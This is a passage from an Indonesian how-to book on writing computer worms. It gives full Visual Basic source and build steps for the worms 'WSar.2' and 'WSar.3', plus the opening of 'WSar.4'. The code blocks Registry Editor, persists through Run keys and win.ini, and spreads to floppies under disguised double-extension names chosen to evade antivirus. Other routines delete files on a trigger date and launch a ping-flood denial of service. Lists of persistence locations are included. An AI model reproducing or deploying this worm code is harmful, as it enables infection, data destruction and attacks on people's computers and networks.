Langkah kelima adalah meny-impan project yang telah sele-sai dibuat, dengan meng-click File pada menubar kemudian pilih Save Project.

Page 130: Computer Worm 1 secret of underground coding

115Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

7. W

orm

WS

ar.1

Kemudian akan tampil kotak dialog Save File As, yang berfungsi untuk menyimpan form, module dan sebagainya yang akan disimpan. Tentukan suatu folder atau buat folder baru dengan mengklik tombol New Folder.

Berikutnya akan tampil kotak dialog Save Project As, yang berfungsi untuk menyimpan project secara keseluruhan.

Langkah terakhir adalah mengkom-pilasi project menjadi suatu file executable. Untuk itu klik File pada menubar, kemu-dian dalam hal ini klik Make WSar.Exe yang akan m e n a m p i l k a n kotak dialog Make Project,

Page 131: Computer Worm 1 secret of underground coding

116Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 7. W

orm W

Sar.1

Isi TextBox File name dengan nama File Exe yang akan dibuat yang dalam contoh ini bernama WSar.exe. Pilih direktori tempat file tersebut akan diletakkan. Klik OK untuk memulai proses kompilasi.

Catatan untuk WSar.1 : untuk lokasi direktori StartUp pada Windows 2000 dan XP secara default adalah sebagai berikut:

1. C:\Documents and Settings\Administrator\Start Menu\ Pro-grams\startup

2. C:\Documents and Settings\All Users\Start Menu\Progra ms\startup

3. C:\Documents and Settings\Default User\Start Menu\ Programs\startup

Page 132: Computer Worm 1 secret of underground coding

117Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

8. W

orm

WS

ar.2

BAB 8WORM WSar.2

Worm ini bernama WSar.2 (worm dasar 2), suatu worm yang lebih cerdas dibandingkan WSar.1, karena sudah memanfaat-kan WSH (Windows Scripting Host) untuk memanipulasi

registry atau untuk mengetahui direktori spesial pada sistem operasi Windows, dan mencegah user untuk menjalankan aplikasi Registry Editor. Dengan demikian , worm ini tidak hanya mampu menulari sistem operasi Windows 9X dan ME tetapi juga akan menulari sistem operasi Windows NT, 2000 atau XP.

8.1 ALGORITMAWSar.2 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut:

1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer

2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi registry untuk mengaktifkan worm setiap kali Windows startup

Page 133: Computer Worm 1 secret of underground coding

118Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 8. W

orm W

Sar.2

3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A dengan nama file "rindu.exe"

4. Dampak lain yang ditimbulkan adalah menyisipkan kata "Ohhhh... rinduuuu... dimanakah dirimu.... " setiap kali user menggunakan fungsi Paste pada aplikasi apa saja

5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.2 Ada Pada Komputer Anda", menghapus semua file yang berekstensi tmp pada direktori Windows dan semua file yang berekstensi bak pada direktori System Windows serta seluruh file pada direk-tori temporary Windows, kemudian menghentikan segala aktifitas worm pada hari tersebut.

8.2 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, pada tab Make, atur Application Title menjadi 'WSar.2’ dan hapus value untuk setiap Type pada frame Version Information. Pilih opsi Compile to P-Code pada tab Compile, akhiri dengan menekan tombol OK.

Kemudian tambahkan 2 buah object Timer, dan atur properti berikut untuk masing-masing Timer dan form.

Properti object Form1

Jenis Nilai KeteranganName frmWSar2 Mengatur nama form menjadi frmWSar2

Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.2 menggunakan icon msword.ico

ShowInTaskbar False Tidak menampilkan form pada taskbar

Visible False Tidak menampilkan form pada layar.

Page 134: Computer Worm 1 secret of underground coding

119Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

8. W

orm

WS

ar.2

Properti object Timer1

Jenis Nilai KeteranganName tmrWSar2 Mengatur nama Timer menjadi tmrWSar2

Enable True Pastikan Timer akan aktif saat form di-load

Interval 60000 Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit

Properti object Timer2

Jenis Nilai KeteranganName tmrIseng Mengatur nama Timer menjadi tmrIseng

Enable True Pastikan Timer akan aktif saat form di-load

Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 detik

Ketik kode program berikut ini pada frmWSar2:

'WSar.2 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End Call RegDisable() Call InfectSystem() If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End IfEnd Sub

Private Sub tmrIseng_Timer() On Error Resume Next Clipboard.Clear() Clipboard.SetText(" Ohhhh... rinduuuu... dimanakah dirimu.... ")End Sub

Private Sub tmrWSar2_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End IfEnd Sub

Page 135: Computer Worm 1 secret of underground coding

120Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 8. W

orm W

Sar.2

Function RegString(ByVal HiveAndKey As String, ByVal Value As String) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value)End Function

Function RegDword(ByVal HiveAndKey As String, ByVal Value As Integer) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value, "REG_DWORD")End Function

Private Sub RegDisable() On Error Resume Next RegDword("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\" & _ "System\DisableRegistryTools", 1)End Sub

Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim sysfolder As Object kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1) FileCopy(WormFile, sysfolder & "\" & "winfake.exe") RegString("HKLM\Software\Microsoft\Windows\CurrentVersio" & _ "n\Run\windll", sysfolder & "\" & "winfake.exe")End Sub

Private Sub InfectFloppy() On Error Resume Next If Len(Dir$("A:\rindu.exe")) = 0 Then FileCopy(WormFile, "A:\rindu.exe") End IfEnd Sub

Private Sub PayLoad() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder, tmpfolder As Object kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) tmpfolder = kiddie.GetSpecialFolder(2) Kill(winfolder & "\" & "*.tmp") Kill(sysfolder & "\" & "*.bak") Kill(tmpfolder & "\" & "*.*") MsgBox("WSar.2 Ada Pada Komputer Anda")End Sub

Page 136: Computer Worm 1 secret of underground coding

121Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

8. W

orm

WS

ar.2

Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function

Berikut penjelasan tentang kode program:

'WSar.2 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit

Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End Call RegDisable() Call InfectSystem() If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End IfEnd Sub

Call RegDisable berarti memanggil atau mengeksekusi procedure yang bernama RegDisable dan statement Call InfectSystem akan mengeksekusi procedure InfectSystem. Jika file utama berada pada drive A atau B maka segera akhiri proses file utama.

Private Sub tmrIseng_Timer() On Error Resume Next Clipboard.Clear() Clipboard.SetText(" Ohhhh... rinduuuu... dimanakah dir" & _ "imu.... ")End Sub

Statement Clipboard.Clear berfungsi untuk membersihkan data dari penyimpanan clipboard (clipboard berfungsi sebagai penyimpan sementara apabila user melakukan proses copy atau cut), kemudian statement berikutnya akan mengisi clipboard dengan data berupa teks " Ohhhh… rinduuuu… dimanakah dirimu…. " yang akan disisipkan jika user melakukan proses paste.

Page 137: Computer Worm 1 secret of underground coding

122Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 8. W

orm W

Sar.2

Private Sub tmrWSar2_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End IfEnd Sub

Procedure tmrWSar2_Timer, pada saat yang ditentukan akan mengek-sekusi procedure InfectFloppy, kemudian apabila tanggal dan bulan sekarang adalah 13 Oktober maka akan mengeksekusi procedure Pay-Load kemudian mengakhiri proses worm.

Function RegString(ByVal HiveAndKey As String, ByVal Value As _ String) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value)End Function

Function RegDword(ByVal HiveAndKey As String, ByVal Value As _ Integer) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value, "REG_DWORD")End Function

Dua function di atas adalah penggunaan Window Script Host yang akan mengakses registry untuk menambahkan key dan value. Function RegString digunakan untuk menambahkan key dan value dengan jenis value string biasa (REG_SZ) sedangkan function RegDword digu-nakan untuk menambahkan key dan value dengan jenis value dword (REG_DWORD)

Private Sub RegDisable() On Error Resume Next RegDword("HKCU\Software\Microsoft\Windows\Curr" & _ "entVersion\Policies\System\DisableRegistryTools", 1)End Sub

Procedure RegDisable mengeksekusi function RegDword dengan menambahkan key: "HKEY_CURRENT_USER\Soft ware\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools" dan mengisi value dengan nilai 1. Konfigurasi registry ini akan mengakibatkan user tidak dapat mengakses aplikasi Registry Editor.

Page 138: Computer Worm 1 secret of underground coding

123Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

8. W

orm

WS

ar.2

Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim sysfolder As Object kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1) FileCopy(WormFile, sysfolder & "\" & "winfake.exe") RegString("HKLM\Software\Microsoft\Windows\Curr" & _ "entVersion\Run\windll", sysfolder & "\" & "winfake.exe")End Sub

Procedure InfectSystem memanfaatkan file system object untuk mendapatkan special folder pada Windows. Dalam hal ini special folder 1 atau direktori System Windows, kemudian membuat salinan dirinya ke direktori System Windows tersebut dengan nama "winfake.exe". Selain itu procedure juga mengeksekusi function RegString dengan menambahkan key:

"HKEY_LOCAL_MACHINE\Microsoft\Windows\CurrentVersion\Run\windll" dengan value berupa gabungan alamat file pada direk-tori System Windows dan nama file dari salinan worm tersebut yaitu "winfake.exe". Key ini merupakan salah satu lokasi registry yang akan dieksekusi saat Windows startup.

Private Sub InfectFloppy() On Error Resume Next If Len(Dir$("A:\rindu.exe")) = 0 Then FileCopy(WormFile, "A:\rindu.exe") End IfEnd Sub

Procedure diatas akan membuat salinan worm pada drive A dengan nama "rindu.exe"

Private Sub PayLoad() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder, tmpfolder As Object kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) tmpfolder = kiddie.GetSpecialFolder(2) Kill(winfolder & "\" & "*.tmp") Kill(sysfolder & "\" & "*.bak") Kill(tmpfolder & "\" & "*.*") MsgBox("WSar.2 Ada Pada Komputer Anda")End Sub

Page 139: Computer Worm 1 secret of underground coding

124Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 8. W

orm W

Sar.2

Procedure PayLoad memanfaatkan file system object untuk mendapat-kan special folder 0 atau direktori Windows, special folder 1 atau direktori System Windows dan special folder 2 atau direktori Tempo-rary, kemudian menghapus seluruh file yang berekstensi 'tmp’ pada direktori Windows, seluruh file berekstensi 'bak’ pada direktori System Windows, dan seluruh file yang ada pada direktori Temporary.

Akhirnya worm akan menampilkan pesan "WSar.2 Ada Pada Komputer Anda". Untuk procedure WormFile telah penulis jelaskan pada WSar.1 sehingga selanjutnya tidak perlu dijelaskan lagi. Terakhir simpan dan kompilasi project seperti pada langkah-langkah yang telah dijelaskan sebelumnya.

Catatan untuk WSar.2: berikut ini adalah lokasi key registry yang akan mengeksekusi setiap value didalamnya pada saat Windows startup:

User Key / HKCU

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run-Once]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunSer-vices]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunSer-vicesOnce]

[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Win-dows]

System Key / HKLM

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run-Once]

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run-Services]

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run-ServicesOnce]

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT \CurrentVersion\Winlogon\Userinit]

Page 140: Computer Worm 1 secret of underground coding

125Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

9. W

orm

WS

ar.3

BAB 9WORM WSar.3

Worm ini bernama WSar.3 (worm dasar 3). Pada worm ini penulis menambahkan trik launcher methode dengan mema-nipulasi file konfigurasi Windows (win.ini) dan memanfaat-

kan array dalam pemberian nama file worm sehingga worm ini dapat membuat salinan dengan menggunakan nama yang beragam.

9.1 ALGORITMAWSar.3 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut:

1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer

2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi file konfigurasi Windows 'win.ini’ untuk mengaktifkan worm setiap kali Windows startup

3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A dengan 10 nama file yang dipilih secara acak

4. Dampak lain yang ditimbulkan adalah setiap 30 detik akan menem-patkan posisi kursor mouse berada di sudut kiri bagian atas pada layar monitor

Page 141: Computer Worm 1 secret of underground coding

126Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 9. W

orm W

Sar.3

5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.3 Ada Pada Komputer Anda", kemudian berusaha melakukan suatu serangan Denial Of Service (DOS) pada sebuah website fiktif dengan mengirimkan paket ping dalam jumlah besar.

9.2 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, pada tab Make, atur Application Title 'WSar.3’ dan hapus value untuk setiap Type pada frame Version Information. Pilih opsi Compile to P-Code pada tab Compile, akhiri dengan menekan tombol OK.

Tambahkan 2 buah object Timer, dan I buah Module, untuk module dapat dilakukan dengan cara meng-click Project pada menubar lalu memilih opsi Add Module. Kemudian atur properti berikut untuk masing-masing Timer, Form dan Module.

Properti object Form1

Jenis Nilai KeteranganName frmWSar3 Mengatur nama form menjadi frmWSar3

Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.3 menggunakan icon msword.ico

ShowInTaskbar False Tidak menampilkan form pada taskbar

Visible False Tidak menampilkan form pada layar.

Properti object Timer1

Jenis Nilai KeteranganName tmrWSar3 Mengatur nama Timer menjadi tmrWSar3

Enable True Pastikan Timer akan aktif saat form di-load

Interval 60000 Setiap instruksi pada procedure Timer akan diek-sekusi setiap 1 menit

Page 142: Computer Worm 1 secret of underground coding

127Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

9. W

orm

WS

ar.3

Properti object Timer2

Jenis Nilai KeteranganName tmrIseng Mengatur nama Timer menjadi tmrIseng

Enable True Pastikan Timer akan aktif saat form di-load

Interval 30000 Setiap instruksi pada procedure Timer akan diek-sekusi setiap 30 detik

Properti Module1

Jenis Nilai KeteranganName mdlFileIni Mengatur nama module menjadi mdlFileIni

Ketik kode program berikut ini pada object mdlFileIni:

Declare Function GetPrivateProfileString Lib "kernel32" Alias _ "GetPrivateProfileStringA" (ByVal lpApplicationName As _ String, ByVal lpKeyName As String, ByVal lpDefault As String, _ ByVal lpReturnedString As String, ByVal nSize As Long, ByVal _ lpFileName As String) As Long

Declare Function WritePrivateProfileString Lib "kernel32" Alias _ "WritePrivateProfileStringA" (ByVal lpApplicationName As _ String, ByVal lpKeyName As String, ByVal lpString As Any, _ ByVal lpFileName As String) As Long

Function ReadINI(ByVal Section, ByVal KeyName, ByVal filename As String) _As String Dim sRet As String sRet = String(255, Chr(0)) ReadINI = Left(sRet, GetPrivateProfileString(Section, ByVal _ KeyName, "", sRet, Len(sRet), filename))End Function

Function writeini(ByVal sSection As String, ByVal sKeyName As String, _ByVal sNewString As String, ByVal sFileName) As Integer Dim r r = WritePrivateProfileString(sSection, sKeyName, sNewString, _ sFileName)End Function

Page 143: Computer Worm 1 secret of underground coding

128Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 9. W

orm W

Sar.3

Ketik kode program berikut ini pada object frmWSar3:

'WSar.3 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Declare Function SetCursorPos Lib "user32" (ByVal x As _ Long, ByVal Y As Long) As Long

Private Sub Form_Load() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" If App.PrevInstance = True Then End If ReadINI("WINDOWS", "Run", winfolder & "\" & "win.ini") <> _ MainFile Then Call InfectSystem() End If If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End IfEnd Sub

Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" FileCopy(WormFile, MainFile) SetAttr(MainFile, vbHidden + vbReadOnly + vbSystem) writeini("WINDOWS", "Run", MainFile, winfolder & "\" & "win.ini")End Sub

Page 144: Computer Worm 1 secret of underground coding

129Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

9. W

orm

WS

ar.3

Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "ohh dambaanku.doc .exe" NamaCantik(1) = "kasihku.doc .exe" NamaCantik(2) = "rinduku.doc .exe" NamaCantik(3) = "sayangku.doc .exe" NamaCantik(4) = "pujaanku.doc .exe" NamaCantik(5) = "permata hatiku.doc .exe" NamaCantik(6) = "buah hatiku.doc .exe" NamaCantik(7) = "jantung hatiku.doc .exe" NamaCantik(8) = "ohh dompeeetku.doc .exe" NamaCantik(9) = "hehehe.doc .exe" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*ku.doc .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End IfEnd Sub

Private Sub tmrIseng_Timer() On Error Resume Next SetCursorPos(1, 1)End Sub

Private Sub tmrWSar3_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End IfEnd Sub

Private Sub PayLoad() On Error Resume Next Dim Target As String Dim pingmore As Integer MsgBox("WSar.3 Ada Pada Komputer Anda", vbExclamation) Target = "http://www.worm-maker.co.id" For pingmore = 1 To 1000 Shell("ping -a -l " & Target & " 65500") Next pingmoreEnd Sub

Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function

Page 145: Computer Worm 1 secret of underground coding

130Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 9. W

orm W

Sar.3

Berikut penjelasan tentang kode program:

'WSar.3 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Declare Function SetCursorPos Lib "user32" _ (ByVal x As Long, ByVal Y As Long) As Long

Mendeklarasikan function SetCursorPos dari library user32. Statement ini adalah salah satu dari API Function. Function SetCursorPos ini berguna untuk mengatur posisi mouse pointer pada layar monitor.

Private Sub Form_Load() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" If App.PrevInstance = True Then End If ReadINI("WINDOWS", "Run", winfolder & "\" & _ "win.ini") <> MainFile Then Call InfectSystem() End If If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End IfEnd Sub

Seperti kode program worm sebelumnya, pada procedure ini worm berusaha mendapatkan direktori Windows, kemudian berusaha mendapatkan informasi apakah worm sudah ada atau tidak pada system.

Dalam hal ini worm memeriksa isi file konfigurasi win.ini pada section Windows dan pada key Run, apabila value tidak ditujukan pada file worm yang terletak pada direktori System Windows, maka worm akan memanggil procedure InfectSystem.

Page 146: Computer Worm 1 secret of underground coding

131Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

9. W

orm

WS

ar.3

Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" FileCopy(WormFile, MainFile) SetAttr(MainFile, vbHidden + vbReadOnly + vbSystem) writeini("WINDOWS", "Run", MainFile, winfolder & "\" _ & "win.ini")End Sub

Procedure ini berusaha mendapatkan direktori Windows dan direk-tori System Windows, kemudian membuat salinan file utama ke lokasi direktori System Windows dengan nama "winword.exe" kemudian mengatur atribut file tersebut menjadi Hidden, Read only dan System.

Worm kemudian memanipulasi file konfigurasi "win.ini" pada section Windows dan key Run, serta value diatur dengan path dan nama file worm yaitu "winword.exe".

Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "ohh dambaanku.doc .exe" NamaCantik(1) = "kasihku.doc .exe" NamaCantik(2) = "rinduku.doc .exe" NamaCantik(3) = "sayangku.doc .exe" NamaCantik(4) = "pujaanku.doc .exe" NamaCantik(5) = "permata hatiku.doc .exe" NamaCantik(6) = "buah hatiku.doc .exe" NamaCantik(7) = "jantung hatiku.doc .exe" NamaCantik(8) = "ohh dompeeetku.doc .exe" NamaCantik(9) = "hehehe.doc .exe" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*ku.doc .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End IfEnd Sub

Procedure ini akan membuat data array sebanyak 10 yang akan di-gunakan sebagai nama file. Sedikit menggunakan social engineering, nama-nama file tersebut menggunakan ekstensi ganda yaitu '.doc .exe’.

Page 147: Computer Worm 1 secret of underground coding

132Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 9. W

orm W

Sar.3

Perhatikan bahwa ada spasi diantara dua ekstensi tersebut. Penulis menemukan beberapa antivirus yang akan mendeteksi file executable dengan ekstensi ganda sebagai suatu worm atau virus, namun setelah penulis menambahkan (satu atau lebih) tanda spasi diantara dua ekstensi tersebut ternyata antivirus-antivirus tersebut tidak mendetek-sinya lagi sebagai worm atau virus .

Umumnya pada Windows Explorer ekstensi file yang terdaftar pada file association tidak diperlihatkan sehingga teks ".doc" pada akhir nama file akan terlihat seolah-olah merupakan ekstensi untuk aplikasi MS Word.

Worm kemudian memeriksa disket dengan mencari file yang berakhiran "ku.doc .exe", apabila file worm tidak ditemukan maka worm akan membuat salinannya ke disket dengan salah satu nama file yang dipilih secara acak.

Satu hal yang mungkin akan terjadi adalah file worm disalin pada dis-ket sebanyak dua file yaitu "hehehe.doc .exe" dan sebuah file dengan nama acak lainnya. Hal ini terjadi karena file "hehehe.doc .exe" tidak memenuhi kriteria sebagai file yang berakhiran "ku.doc .exe".

Private Sub tmrIseng_Timer() On Error Resume Next SetCursorPos(1, 1)End Sub

Private Sub tmrWSar3_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End IfEnd Sub

Procedure tmrIseng_Timer memanggil function SetCursorPos dengan nilai x = 1 dan y =1 yang berarti menempatkan posisi pointer mouse pada posisi pixel pertama pada layar. Pixel pertama bertempat di sudut kiri atas layar monitor.

Page 148: Computer Worm 1 secret of underground coding

133Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

9. W

orm

WS

ar.3

Private Sub PayLoad() On Error Resume Next Dim Target As String Dim pingmore As Integer MsgBox("WSar.3 Ada Pada Komputer Anda", _ vbExclamation) Target = "http://www.worm-maker.co.id" For pingmore = 1 To 1000 Shell("ping -a -l " & Target & " 65500") Next pingmoreEnd Sub

Selain menampilkan pesan, worm ini akan melakukan serangan Denial Of Service pada website www.worm-maker.co.id yang merupakan site fiktif.

Declare Function GetPrivateProfileString Lib "kernel32" _ Alias "GetPrivateProfileStringA" (ByVal _ lpApplicationName As String, ByVal lpKeyName As _ String, ByVal lpDefault As String, ByVal _ lpReturnedString As String, ByVal nSize As Long, _ ByVal lpFileName As String) As Long

Declare Function WritePrivateProfileString Lib "kernel32" _ Alias "WritePrivateProfileStringA" (ByVal _ lpApplicationName As String, ByVal lpKeyName As _ String, ByVal lpString As Any, ByVal lpFileName As _ String) As Long

Mendeklarasikan function API GetPrivateProfileString dan WritePrivateProfileString dari library "kernel32".

Function ReadINI(ByVal Section, ByVal KeyName, ByVal filename As String) _ As String Dim sRet As StringsRet = String(255, Chr(0))ReadINI = Left(sRet, GetPrivateProfileString(Section, _ ByVal KeyName, "", sRet, Len(sRet), filename))End Function

Function writeini(ByVal sSection As String, ByVal sKeyName As _ String, ByVal sNewString As String, ByVal sFileName) As Integer Dim r r = WritePrivateProfileString(sSection, sKeyName, _ sNewString, sFileName)End Function

Kedua function tersebut, 'ReadINI’ dan 'writeini’ mengoto-matisasi penggunaan function API dari GetPrivateProfileString dan

Page 149: Computer Worm 1 secret of underground coding

134Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 9. W

orm W

Sar.3

WritePrivateProfileString, dengan tujuan agar dapat digunakan den-gan lebih mudah dan sederhana.

Catatan untuk WSar.3: berikut ini adalah lokasi file konfigurasi beserta section dan key yang akan mengeksekusi setiap value didalamnya pada saat Windows startup:

WIN.INI

Path Direktori Windows (0)Section WINDOWS

Key 1 Run

Key 2 Load

Value WormPath

Contoh yang bisa diaplikasikan pada WSar.3

writeini "WINDOWS", "Run", MainFile, winfolder & "\" & "win.ini"writeini "WINDOWS", "Load", MainFile, winfolder & "\" & "win.ini"

SYSTEM.INI

Path Direktori Windows (0)Section BOOT

Key Shell

Value "Explorer.exe " & WormPath

Contoh yang bisa diaplikasikan pada WSar.3

writeini "BOOT", "Shell", "Explorer.exe " & MainFile, winfolder & "\" & "system.ini"

WININIT.INI

Path Direktori Windows (0)Section RENAME

Key Nul

Value WormPath

Contoh yang bisa diaplikasikan pada WSar.3

writeini "RENAME", "Nul", MainFile, winfolder & "\" & "wininit.ini"

Page 150: Computer Worm 1 secret of underground coding

135Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

10

Wor

m W

Sar

.4

BAB 10WORM WSar.4

Worm ini bernama WSar.4 (worm dasar 4), memiliki trik launcher yang hingga buku ini selesai ditulis belum pernah digunakan worm manapun. Dengan cara memanipulasi

registry, worm memindahkan direktori StartUp kesuatu lokasi tertentu dan membuat salinan dirinya pada direktori tersebut.

Saat Windows startup, setiap file yang ada termasuk file worm ikut tereksekusi tanpa user menyadari karena direktori StartUp default yang dapat terlihat pada Startmenu tidak akan menunjukan adanya perubahan atau pertambahan suatu file.

Worm ini sedikit lebih kreatif karena membuat nama file salinan dengan menyertakan nama user aktif dan banyak menggunakan function API.

10.1 ALGORITMAWSar.4 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut:

1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer

2. Kemudian worm mengubah nilai suatu registry untuk memanipu-lasi lokasi direktori StartUp default ke suatu lokasi direktori tertentu lainnya. Kemudian worm akan melakukan reproduksi dengan men-ciptakan salinan dirinya pada direktori StartUp yang baru tersebut

Page 151: Computer Worm 1 secret of underground coding

136Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 10. W

orm W

Sar.4

3. Setiap 1 menit akan berusaha untuk membuat salinan worm ke disket pada drive A dengan 10 nama file yang dipilih secara acak

4. Dampak lain yang ditimbulkan adalah jika jam dan menit memiliki nilai yang sama maka secara otomatis system akan membuka dan menutup CD rom drive sebanyak 3 kali. Kesempatan terjadi adalah sekali setiap jamnya

5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.4 Ada Pada Komputer Anda", kemudian melakukan beberapa manipulasi yang bersifat tidak penting dan terkesan "pamer" tetapi hal ini sudah menjadi kebiasaan worm lokal di Indonesia, seperti mengubah nama user dan perusahaan terdaftar, mengubah volume label pada harddisk atau menampilkan pesan tertentu setiap kali Windows startup.

10.2 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.4’

Tambahkan 2 buah object Timer, 1 buah object TextBox dan 2 buah Module. Kemudian atur properti berikut untuk masing-masing Timer, TextBox, Form dan Module.

Properti object Form1

Jenis Nilai KeteranganName frmWSar4 Mengatur nama form menjadi frmWSar4

